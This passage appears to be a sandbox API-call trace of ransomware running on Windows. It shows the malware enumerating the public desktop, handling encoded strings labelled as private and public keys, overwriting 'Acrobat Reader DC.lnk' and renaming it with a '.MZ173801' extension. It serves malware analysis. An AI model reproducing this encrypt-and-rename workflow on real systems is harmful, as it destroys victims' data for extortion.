ftCreationTime.dwHighDateTime=0x1d5e714, ftLastAccessTime.dwLowDateTime=0xff0acf80, ftLastAccessTime.dwHighDateTime=0x1d5e313, ftLastWriteTime.dwLowDateTime=0xff0acf80, ftLastWriteTime.dwHighDateTime=0x1d5e313, nFileSizeHigh=0x0, nFileSizeLow=0x44b7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="YBwdz7.odp", cAlternateFileName="")) returned 1 [0184.236] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.236] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.236] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce9e4a20, ftCreationTime.dwHighDateTime=0x1d5e714, ftLastAccessTime.dwLowDateTime=0xff0acf80, ftLastAccessTime.dwHighDateTime=0x1d5e313, ftLastWriteTime.dwLowDateTime=0xff0acf80, ftLastWriteTime.dwHighDateTime=0x1d5e313, nFileSizeHigh=0x0, nFileSizeLow=0x44b7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="YBwdz7.odp", cAlternateFileName="")) returned 0 [0184.236] GetLastError () returned 0x12 [0184.236] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0184.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1 [0184.238] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop")) returned 0x13 [0184.238] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1 [0184.238] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0184.238] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.238] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38bb5c78, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0184.239] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0184.239] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38bb5c78, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x852)) returned 1 [0184.239] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk")) returned 0x20 [0184.239] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk", dwFileAttributes=0x80) returned 1 [0184.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0184.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0184.244] GetCurrentThreadId () returned 0xab4 [0184.245] GetCurrentThreadId () returned 0xab4 [0184.245] GetCurrentThreadId () returned 0xab4 [0184.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0184.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0184.246] GetCurrentThreadId () returned 0xab4 [0184.246] GetCurrentThreadId () returned 0xab4 [0184.246] GetCurrentThreadId () returned 0xab4 [0184.246] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.246] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0184.246] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.246] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x852 [0184.246] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.246] ReadFile (in: hFile=0x2f4, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x852, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0x852, lpOverlapped=0x0) returned 1 [0184.247] CloseHandle (hObject=0x2f4) returned 1 [0184.248] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.249] WriteFile (in: hFile=0x2f4, lpBuffer=0x24a9e70*, nNumberOfBytesToWrite=0x852, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a9e70*, lpNumberOfBytesWritten=0x19fa24*=0x852, lpOverlapped=0x0) returned 1 [0184.345] CloseHandle (hObject=0x2f4) returned 1 [0184.345] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk.MZ173801" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk.mz173801")) returned 1 [0184.346] GetCurrentThreadId () returned 0xab4 [0184.346] GetCurrentThreadId () returned 0xab4 [0184.347] GetCurrentThreadId () returned 0xab4 [0184.347] GetCurrentThreadId () returned 0xab4 [0184.347] GetCurrentThreadId () returned 0xab4 [0184.347] GetCurrentThreadId () returned 0xab4 [0184.347] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0184.347] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.347] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.347] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0184.347] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.347] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, 